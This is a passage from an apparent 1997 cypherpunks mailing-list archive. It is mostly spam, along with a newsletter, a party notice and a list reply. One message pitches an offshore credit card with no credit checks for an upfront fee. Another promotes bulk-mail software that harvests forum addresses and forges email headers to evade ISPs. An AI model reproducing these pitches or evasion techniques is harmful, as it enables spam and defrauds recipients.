Date: Thu, 4 Sep 1997 15:15:26 -0700 (PDT)
Subject: Accept Major Credit Cards...Online Merchant Accounts!
Message-ID: <199709042215.PAA24984@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi there,

Credit Cards are the universal currency of the Internet, and, if you want to do business online, you need to be able to Accept Visa, Mastercard and American Express cards on your Web site.

Trouble is, many banks wont give merchant status to businesses that are new, home-based or located in cyberspace instead of a real-world storefront or mall.  Thats why were pleased to present a special offer from USConnect, a major merchant account provider thats helping companies like yours get merchant status on the Net.


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Go to: Accept Credit Cards Online

Apply now and start your cash flowing today!




If you wish to be removed from our mailing list, please click "PLEASE REMOVE" 
and type REMOVE in the subject field.
  
























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phoenix@workload.com
Date: Wed, 3 Sep 1997 19:37:43 -0700 (PDT)
To: 5666@d564390.comcom
Subject: Wanted!!! Serious Dieters!!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


WANTED!!!!  SERIOUS DIETERS!!!!!

I am looking for people who are serious about losing weight, increasing their
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.  

Id  love to talk with serious minded individuals who want a SAFE and 
EFFECTIVE way to shed those uninvited pounds and inches NOW.

Call me for FREE SAMPLES -NOW!
(602) 874-4913








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim@Famailcrt.com
Date: Thu, 4 Sep 1997 20:43:32 -0700 (PDT)
To: Jim@Famailcrt.com
Subject: FREE LINK LISTING
Message-ID: <199709050342.XAA19131@marconi.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
If you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.  Thank you
////////////////////////////////////////////////////////////////////////////////

ATTENTION BUSINESS OWNERS

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Link with us for a little as $9.95 a month.  Link before 10/31/97 and your first month is FREE

No Web page, we can design a storefront for you.

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Visit us at  WWW.Fontaineassociates.com

Thank You




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WSJ Interactive Edition Editors <update@INTERACTIVE.WSJ.COM>
Date: Fri, 5 Sep 1997 10:08:12 -0700 (PDT)
To: WSJIE-WHATSNEW@LISTSERV.DOWJONES.COM
Subject: Interactive Journal Launches New Tech Center
Message-ID: <3.0.32.19970905115042.00ac87f0@pop.dowjones.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Interactive Journal Subscriber:

If you haven't noticed it already, I wanted you to be aware of our new Tech
Center (http://interactive.wsj.com/edition/current/summaries/techmain.htm),
which represents a dramatic expansion of the Interactive
Journal's coverage of technology companies, trends and stocks.

Since we launched the Interactive Journal more than a year ago, our
technology pages and articles have consistently been among our most popular.
Tech Center, we think, not only organizes our coverage better but also
increases the number of stories we follow and the depth of background we
can deliver.

Tech Center reflects news contributions not only from the print
editions of The Wall Street Journal and from Dow Jones Newswires, but also
from an expanded Interactive Journal news staff in New York and San
Francisco dedicated to original coverage for the section. Its four
news areas, all updated throughout the day and night, are:

· Systems - Breaking stories in hardware and software.
· Ventures - Alliances and new businesses shaping the technology landscape.
· Fast Forward - The converging worlds of telecommunications, media and
computing.
· Tech Stocks - Major earnings announcements and other trends of interest
to technology investors.

In addition, Tech Center will offer a growing library of "Issue Briefings,"
concise background reports on key technology trends such as Java and online
privacy; exclusive Interactive Journal profiles of dozens of top technology
companies; and reader forums on major technology stories and controversial
issues. Naturally, we also include the latest from Personal Technology
columnist Walter S. Mossberg, along with an archive of all his recent columns.

Please take a moment to explore Tech Center and let us know what you think,
and what else you would like to see there.

Neil F. Budde
Editor
The Wall Street Journal Interactive Edition

feedback@interactive.wsj.com




_______________________________________________________________
Check out Small Business Suite, a new Interactive Edition feature
covering issues that matter most to small business owners, entrepreneurs,
and anyone who markets products or services to small businesses.
http://wsj.com/edition/current/summaries/small.htm
________________________________________________________________
This is the New Features Alert e-mail list. If you do not wish to continue to
subscribe to this list, sign on to The Wall Street Journal Interactive
Edition and
go to the following URL: http://wsj.com/user-cgi-bin/userMenu.html to change
your account preferences. Or you can just send email to: stopmkt@lists.wsj.com

Cancelling your subscription to The Wall Street Journal Interactive Edition
will automatically un-subscribe you from any e-mail lists you might be
subscribed to through our service. For further questions, please call our
customer service department at 1-800-369-2834.
__________________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 5 Sep 1997 15:06:43 -0700 (PDT)
To: Recipient List Suppressed:;
Subject: DCSB: Boston D-H expiration Party at Doyles on Saturday.
Message-ID: <v0311078cb036264cfc46@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In utter anthesis of the way we normally do things at DCSB,


               The Digital Commerce Society of Boston

                            Presents
                      An Utterly Unplanned
                          Last-Minute
                       Spur of the Moment
                      Boston Pub-Crawling

                   Celebration of the Expiration
                             of the
                 Diffie-Hellman Public Key Patent



                    Saturday, September 6, 1997
                     3pm - Whenever we give up

                   at The William Braddock Cafe,
                        A.K.A  Doyles's

                      3484 Washington Street,
                      Boston (Jamaica Plain)


This all started out several months ago in my head as a spiffy whoop-de-do
black-tie webcasted countdown with sponsors and free champaigne and a
groaning buffet and penguin waiters and a cash bar at the Harvard Club with
a donation to a worthy cause, but, well, we couldn't get a time on the
patent, so the countdown was out, and we couldn't get sponsors (remembering
the last cocktail party, maybe there's a reason?), so the free bubbly and
munchies was out, PETA got us on the way we wanted to make the penguins
groan, and we couldn't think of a worthy enough cause, so that was out,
and, finally, the Club is closed on Saturday, anyway. Feh. So, we're
losers, okay? What can we say? Shoot us, already...

Meanwhile, we're sitting here watching the Bay Area, and Austin, do
something, and then Declan and the Washingtoonians do something, but the
*final* straw came when Peter Wayner calls up and says:

"WELL???? Are you guys in Boston going to DO something? I'm gonna file a
story in the Times tomorrow that SAYS you are..."

And so, bowing to the pressure of the media culture in memory of recent
events on the continent <ewwwww>, (and my own cravings for porkchops and
Pickwick Ale, <ewwwww>) I, Robert Hettinga, by the power vested in me by
the August (or maybe it was July) membership of the Society as Their
Moderator, do hereby unilaterally declare an Official Social Function of
the Digital Commerce Society of Boston to occur at Doyle's, 3484 Washington
Street, Jamaica Plain, Boston, tomorrow, Septmber 6, 1997, at 3PM Eastern
Standard Time, my God have mercy on our souls.

Bring your own money. :-). Be prepared to buy the moderator a drink.

If Doyle's gets boring, we'll crawl elsewhere, but only after an hour has
elapsed. If Doyle's isn't boring, we'll drink ourselves under the table, or
at least face-down on it, or until we're shown the door, or maybe until our
wives come and take us home, or something.

And, so, to paraphrase that great statesman, one David 'Davey' Crockett:
"Y'all can go to Hell. [or, Washington, or the Valley, or Texas, as the
case may be...] *I'm* going to Doyle's."

See you there.

Cheers,
Bob Hettinga
(Im)Moderator,
The Digital Commerce Society of Boston

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Version: PGP for Personal Privacy 5.0
Charset: noconv

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 37166040@usa.net
Date: Fri, 5 Sep 1997 21:08:16 -0700 (PDT)
To: success@makemoney.com
Subject: Buying All Gold & Silver Coins, Highest Prices Paid
Message-ID: <272773a5556666a2222>
MIME-Version: 1.0
Content-Type: text/plain


A M E R I C A N  COIN BUYERS, INC.


We buy all U.S GOLD and SILVER COINS.

We pay more on day-to-day transactions than any other dealer in the World!

Take advantage of this opportunity now and visit our website at http://www.americancoin.com

Click Here for Website





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: delta7@onlinebiz.net
Date: Sat, 6 Sep 1997 06:36:03 -0700 (PDT)
To: delta7@onlinebiz.net
Subject: "700 HITS Per Day!"
Message-ID: <199709061336.GAA18197@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


TRAFFIC...TRAFFIC...TRAFFIC...

Webpages and sites are good, but the name of the game is HITS.

I can show you how, within a matter of days, to start
getting 700 or more HITS PER DAY to your website or page.

It's EASY...it's FREE...and, it WORKS!

All you have to do is link the following address to your website or page:

http://www.webspawner.com/users/taxsavings/

If you want the information on how to boost your HITS immediately, e-mail me back at 
delta7@onlinebiz.net to let me know you've added my address as a link.  
Also, request the "HITS Report".

I will immediately verify that you added my link, and then I will immediately
e-mail you the "HITS Report" (the report is sold for $20, but if you link me to your site, you'll receive it for FREE).  You won't be disappointed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@www.gwb.com.au>
Date: Fri, 5 Sep 1997 19:45:18 -0700 (PDT)
To: (Recipient list suppressed)
Subject: Pauline Hanson's One Nation news letter
Message-ID: <1.5.4.16.19970906122754.2c1fad08@mail.pronet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


IF YOU WISH TO BE REMOVED FROM THE MAILING LIST PLEASE RESPOND WITH "PLEASE
REMOVE" IN THE SUBJECT LINE.

NO NEWSLETTERS ARE SENT OUT WITHOUR A PRIOR REQUEST BEING RECEIVED.

____________________________________________________________________________
_________

Issue 1.2

6th September 1997
nsw

Dear supporter, 

Firstly I would like to thank you all for the excellent feedback that I have
been getting through the Internet. For your information nearly 150,000
visits have been recorded on One Nation web sites since April this year -
that is over 1,000 a day!

Secondly, a very big thank you for those who have offered to make donations
through email. We have had donations of up to $1,000 to Pauline Hanson's One
Nation through the Internet this month - a very big help as we move towards
the next federal election. For those who have requested advice on how to
offer financial support please send your cheque made out to Pauline Hanson's
One Nation and post your cheque with your details to:

National Director, Pauline Hanson's One Nation, P.O. Box 2000, Manly, NSW, 2095

The Internet is proving to be a very valuable tool in communicating what I
say, not what the media would have you believe that I say. It is also your
opportunity to communicate your concerns to me. 

Pauline Hanson's One Nation branches are now opening at the phenomenal rate
of ten a week. For all those involved a big thank you. We are starting to
get things moving for the future of our Australia - One Nation.

For those of you who are not aware I will not be standing for a Senate seat,
even though the Australian Electoral Commission cut my federal seat of Oxley
in half - right through the middle of Ipswich. I believe that the only way
that can I continue to play a leading role for the party and for Australia
is by staying on as a federal member of parliament. As yet, I have not
decided whether to stand in the revised seat of Oxley or to stand for the
seat of Blair.

For those of you wanting to join your local branch, I will shortly be
putting up the URL for key contact details on-line on a state by state
basis. I apologise for the delay in providing these details, because of our
phenomenal growth, in the meantime please feel free to contact the national
headquarters of Pauline Hanson's One Nation in Sydney at (02) 9976 0283 for
information.

Key Internet addresses:

The Hanson Phenomenon:
http://www.gwb.com.au/hanson.html

Pauline Hanson's One Nation press releases:
http://www.gwb.com.au/onenation/press

Here is a small extract from some words by a Canberra supporter:

One nation uniting the continent, One nation, proud and free,
One nation for all of Australia, One nation for you and me.

Pauline Hanson's One Nation

Pauline Hanson 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: scannmann@nevwest.com
Date: Sun, 7 Sep 1997 01:05:52 -0700 (PDT)
To: scannmann@nevwest.com
Subject: Money, Sex, Technology and Home Bus
Message-ID: <199709070804.BAA08120@desertinn.nevwest.com>
MIME-Version: 1.0
Content-Type: text/plain


** Money, Sex, Technology & Home Based Business **
  
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PLUS:  FREE ADULT ENTERTAINMENT WEB SITE!!!
  
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To receive additional information, send email to our automated
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*******
BY REQUESTING THIS INFO, YOU ARE CONFIRMING 
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*******




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kehazo@sprintmail.com (James)
Date: Sun, 7 Sep 1997 04:08:10 -0700 (PDT)
To: V.I.P.@OnTheWeb.com
Subject: Unsecured Credit Card-Approval Guaranteed
Message-ID: <199709072034IAA38861@a001.sprintmail.com>
MIME-Version: 1.0
Content-Type: text/plain


For removal, please put remove on subject line and email  me at
Endless@Gosnet.com
*Don't press reply, it won't get back to me. Follow instructions
down below.

UNSECURED MAJOR INTERNATIONAL CREDIT CARD NOW AVAILABLE!!!!

GUARANTEED Approval from Offshore Financial Institution.

*Extremely Low Current Annual Percentage Rate.
*Minimum $5,000.00 Credit Limit.
*Credit Lines offered thur bank after credit has been established.
*No Social Security Number Required!
*NO CREDIT CHECKS!
*No Income Verification!
*Complete Financial Privacy*NO REPORTING, PERIOD*
*EVEN BANKRUPTCY O.K.!
*Worldwide Network Marketing Opportunity.
*$100.00U.S. processing fee for credit card.

This information has only recently been released!
Wonderful marketing opportunity to those interested!
Possibility of earning $6,941.25 monthly per paid position
with 25.00 fast start bonuses paid weekly.

*DON'T REPLY WITH YOUR REPLY BOTTON*
TO OBTAIN INFO ON THIS OPPORTUNITY:
1)Email me at user2384@xsend.com
  -Please Include name, Phone #, and email address.
  -Please put "MORE INFO" ON SUBJECT LINE, if you don't the reply will take longer.
2)If email comes back undeliverable please leave message 
    at (805)675-8565.
3) Also have similar company that is on shore, but requires 
    S.S.# and offers more services.
4) Website at Http://www.gosnet.com/endless -can find much info there, but site may not be up at this time. You may need to try later.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nea25@sprintmail.com (James)
Date: Sun, 7 Sep 1997 10:06:47 -0700 (PDT)
To: V.I.P.@OnTheWeb.com
Subject: Unsecured Credit Card-Approved Guaranteed
Message-ID: <19970907271IAA29748@post.a001.sprintmail.com>
MIME-Version: 1.0
Content-Type: text/plain


For removal, please put remove on subject line and email  me at
Endless@Gosnet.com
*Don't press reply, it won't get back to me. Follow instructions
down below.

UNSECURED MAJOR INTERNATIONAL CREDIT CARD NOW AVAILABLE!!!!

GUARANTEED Approval from Offshore Financial Institution.

*Extremely Low Current Annual Percentage Rate.
*Minimum $5,000.00 Credit Limit.
*Credit Lines offered thur bank after credit has been established.
*No Social Security Number Required!
*NO CREDIT CHECKS!
*No Income Verification!
*Complete Financial Privacy*NO REPORTING, PERIOD*
*EVEN BANKRUPTCY O.K.!
*Worldwide Network Marketing Opportunity.
*$100.00U.S. processing fee for credit card.

This information has only recently been released!
Wonderful marketing opportunity to those interested!
Possibility of earning $6,941.25 monthly per paid position
with 25.00 fast start bonuses paid weekly.

*DON'T REPLY WITH YOUR REPLY BOTTON*
TO OBTAIN INFO ON THIS OPPORTUNITY:
1)Email me at user2384@xsend.com
  -Please Include name, Phone #, and email address.
  -Please put "MORE INFO" ON SUBJECT LINE, if you don't the reply will take longer.
2)If email comes back undeliverable please leave message 
    at (805)675-8565.
3) Also have similar company that is on shore, but requires 
    S.S.# and offers more services.
4) Website at Http://www.gosnet.com/endless -can find much info there, but site may not be up at this time. You may need to try later.
c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wgrip@spica.net
Date: Sun, 7 Sep 1997 14:07:54 -0700 (PDT)
To: GetNoticed@nrply.com
Subject: Get Your Site Noticed!!
Message-ID: <52523477_46458952>
MIME-Version: 1.0
Content-Type: text/plain



Hello,

Do you have a webpage that's just sitting there?

Would you like more hits and visibility?  Now you can 

promote your pages like the Pros!  The WebSeek Promotion

Spider puts your pages on the TOP of the Search Engines!

Get your FREE Shareware Version today and see what this

powerful program can do for your site!!


For more info please respond to our Autoresponder at: 
mailto:inet@spica.net  and say "Promo-Now"


Resellers Needed!

thanks,

Web Promotions!
~~~~~~~~~~~~~~~~~~~~~~~



Note: You will not receive another message BUT we do

utilize the Remove List at: remove@remove-me.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Sep 1997 21:55:17 -0700 (PDT)
To: "Martin M" <cypherpunks@toad.com>
Subject: Re: FUCK! how do i unregister from toad.com or the 2 other server?%
In-Reply-To: <19970908035217.14127.qmail@dns01.ops.usa.net>
Message-ID: <v03102800b03934f924ce@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:42 PM -0700 9/7/97, Martin M wrote:
>I am tired, i am registered to 3 cypherpunks server and tired or receiving
>40-50 new message each day!
>
>Please someone reply!
>

Send unsuscibe messige! Do it now, I say.

(I have adjusted my message syntax to conform to the spelling and grammar
habits of the several new susribers.)


--Klaus



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Debbie@aol.com
Date: Sun, 7 Sep 1997 22:25:08 -0700 (PDT)
To: copper@aol.com
Subject: Hi There!
Message-ID: <546891388220Pkk93756@worldnet.net>
MIME-Version: 1.0
Content-Type: text/plain


Ladies & Gents.

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Everything is completely confidential.  We let you and the other party know that we have matched you and your interests.  If both agree then we exchange Screen names or E-mail address for you.

Our lifetime membership is usually $69.95.
Because of the overwhelming response we are glad to offer you for one week only a lifetime membership for only $29.95. 

Once we receive your application, Our staff will get to work on it right away.  You can be in a new relationship in as little as one week.

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All you need to do to get started is to fill out the application at the bottom of the screen and mail it in with a check or money order to the address below.  Remember to let us know when you want us to stop sending you information on other members.


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Mail information above and check or money order for $29.95 to:

Delcom
C/O Cyber Connections
P.O. Box 916
Walnut Cove, NC.  27052


Thanks again!






----------------------- Headers --------------------------------
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Date: Fri, 15 Aug 97 18:19:50 EST
To: Tdave@juno.com
Subject: Members@aol.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 98789@ix.netcom.com (24 hour playmates)
Date: Sun, 7 Sep 1997 23:45:50 -0700 (PDT)
To: 98789@ix.netcom.com
Subject: ADULTS ONLY
Message-ID: <19970907821SAA5716@post.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


FREE 5 MINUTE PREVIEW !!!

Preview the 1997 "Online stripshow Of The Year"
Voted by the Association of Adult Internet Services as having
the best content, best picture quality and the most beautiful models!

http://www.livehardcoresex.com

You must be 21 or older.

If you would like to be removed from our mailing reply by "REMOVE" 
5




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wiu@vtx.ch (Floodgate)
Date: Sun, 7 Sep 1997 20:42:31 -0700 (PDT)
To: wiu@vtx.ch
Subject: Bulk Email For Profit
Message-ID: <199709074309WAA49591@post.gn.apc.org>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
To be removed - Hit reply and type "remove"
in the subject of your letter.

******************************************************
        
            MAIL THOUSANDS OF EMAIL MESSAGES
                PER HOUR - NO KIDDING !!

          SEND YOUR EMAIL MESSAGES OUT, AT
         1,000's MESSAGES / HOUR (28.8K modem)

           YES, 1,000's  Of Messages An Hour

******************************************************

    YOU CAN ALSO RECEIVE A "BOMB-PROOF" EMAIL ADDRESS
     AND WEB PAGE TO USE IN YOUR MARKETING LETTER !!

******************************************************
     
That's right. We believe that there should be little
or NO restrictions on Internet communications and email!
Our two (2) software programs demonstrate the notion of
unlimited, uncensored, and unrestricted, bullet-proof
email use.

  YOU'LL RECEIVE 2 HIGH-SPEED EMAIL SOFTWARE PROGRAMS

Introducing...."FLOODGATE BULK EMAIL LOADER" 
        AND...."GOLDRUSH STEALTH MASS MAILER"

I operate a custom email service. From my experience, your typical bulk email service just collects email addresses from any source they can rely on shear volume emailing to produce the desired results - the "shotgun" approach. I have found that by targeting emails to groups that would likely be specifically interested in your product, the response rate is much better than when using the "shotgun" approach AND you don't tend to annoy as many people (which is nice for both sides). By targeting emails, I mean that I collect the addresses myself from on-line areas (forums, newsgroups, etc.) so that I mail to people that are likely to be interested in my products based on their on-line participation.

FLOODGATE is the renegade technology that helps me do this.

This is the same software that all bulk emailing services use!

----------------------------------------------------

Floodgate Bulk Email Loader Version 5.2 AND
Goldrush Stealth Mass Mailer Version 2.018
for Windows 95 and Windows 3.1 now Supports 17 
(really more with the free form filter) File Formats

----------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY!

Or...every few days. In fact, when I send out just a few thousand marketing letters each day, it doesn't take long before I'm completely swamped with email inquiries and phone calls. This is very easy to do. And each one of these bulk mailings costs me nothing. I can teach you how to do this and provide you with the tools you'll need.

If you've got a good marketing letter, I'll show you how to open the floodgates. You'll be deluged with inquiries, leads, and real sales, using nothing but email alone.

Writing a good marketing letter is not easy. I often have to rewrite my marketing letters a half dozen times before I get the results I'm looking for. But once you have a good letter, as you probably know, you can use the same letter over and over again, predictably and consistently, closing sales, week after week, month after month.

It takes me about one hour to send my marketing letter to THOUSANDS of fresh email addresses. I can do this, thanks to a Windows program I use. It's called Floodgate and Goldrush Stealth Mass Mailer. It's a bulk email loader and an email software program. If you're interested in electronic marketing, you should know about these programs.

PROGRAM #1: FLOODGATE FOR WINDOWS

The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email addresses. It then sorts the addresses, removes any duplicates, and formats them into an output file, with 10, 20 or 30 addresses per line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America On-line account to send out your marketing letters. Neither AOL nor the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ 
IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 20,000+ people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But, like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list", which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 17+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15 minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per hour.

7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step       documentation.
**Floodgate is the only one offering a money back     guarantee.
**Floodgate has more testimonials. 
**Filter for filter, Floodgate offers more capabilities,   way more. 
**Floodgate does everything all the others *combined* claim. 
**Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. 
**We have by far, the BEST technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per   sale.
- Let's also say you only get a 1% response   (occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The SUPPLIED MANUAL tells you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from our computer savvy technicians.

PROGRAM #2: GOLDRUSH STEALTH MASS MAILER

Do not get this program confused with other slow speed programs that call themselves "STEALTH". This program is the only one in the world that can send email out at HIGH SPEEDS with one single connection to the internet. 

This is NEW, Cutting Edge Email Technology. First Of It's Kind.. The Most Powerful BULK EMAIL SENDER In The World.. NOTHING CAN EVEN COME CLOSE! 

Thanks to our top programmer's, this technology is NOW available and we are the only place you can get it from! 

     *ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED. 
     *NO MORE TERMINATED CONNECTIONS. 
     *NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL. 
     *IMMEDIATE RESPONSE TO YOUR MASS MAILINGS. 
     *YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE OF               SENDING EMAIL THE WAY IT SHOULD BE SENT... IN HUGE AMOUNTS! 
     *SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE                500,000 OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR YOUR       ORDERS TO POUR IN. 
     *NO MORE DOWNLOADING UNDELIVERABLE NAMES.

Bulk Emailer's Dream Come True!!! - >>>GOLDRUSH STEALTH MASS MAILER<<< 

Connect to multiple mail servers (20 or more), make multiple connections to a single server or any combination of the two ( All Simultaneously ) with one single dial-up connection. 

SEND MULTIPLE SIMULTANEOUS MAILINGS... 

View complete details about your mailings. Shows each server your connected to, the status of that connection, how many messages are going out through that connection, etc...

We show you ALL the tricks all the mass e-mailers don't want you to know... 

Here are just a few features the GOLDRUSH STEALTH MASS MAILER offers to you... 

     *Forge the Header - Message ID - ISP's will Spin their wheels. 
     *Add's a Bogus Authenticated Sender to the Header. 
     *Add's a complete bogus Received From / Received By line with       real time / date stamp and recipient to the Header. 
     *Does NOT require a valid POP Account be entered in order to       send your mailings. 
     *Easy to use and operate 
     *Plus much more! 

All this, at speeds of up to 1,000's messages/hour
(28.8k modem). 

SPECIAL INTRODUCTORY PRICE... 

NOW YOU CAN HAVE BOTH THE FLOODGATE AND GOLDRUSH STEALTH MASS MAILER FOR JUST $499.00! 

UPDATE ... SAVE $149.05 AND ORDER NOW, BE ONE OF THE FIRST 100 ORDERS! 

Step up to the plate and play with the big boys TODAY and receive the COMPLETE 2 SOFTWARE PACKAGE for the unbelievably low price of ONLY $349.95! 

(Other bulk email software has sold for as much as $2,500 and can't even come close to the cutting edge technology of EASE, ACCURACY AND SPEED ... SPEED ... SPEED!) 

       Try the Goldrush Stealth Mass Mailer & Floodgate Bulk Email Loader for 10 days FREE. 
        And receive UNLIMITED technical support for 30 days.


***SPECIAL BONUS #1:*** STOP Losing ISP Dial Up Accounts! 

If you order The FLOODGATE / GOLDRUSH software within the next 5 days - When you receive your program, you will also receive: 

*Complete instructions on "how to keep your dial up account from  showing up in the header", plus everything you will need to get started doing this. 

IMPORTANT NOTICE! We will initially only be offering 100 copies of the program for sale, First come / First Served basis only. We are doing this because of the extreme power that these programs offer.


***SPECIAL BONUS #2*** 

When you receive your two programs, you will also receive:
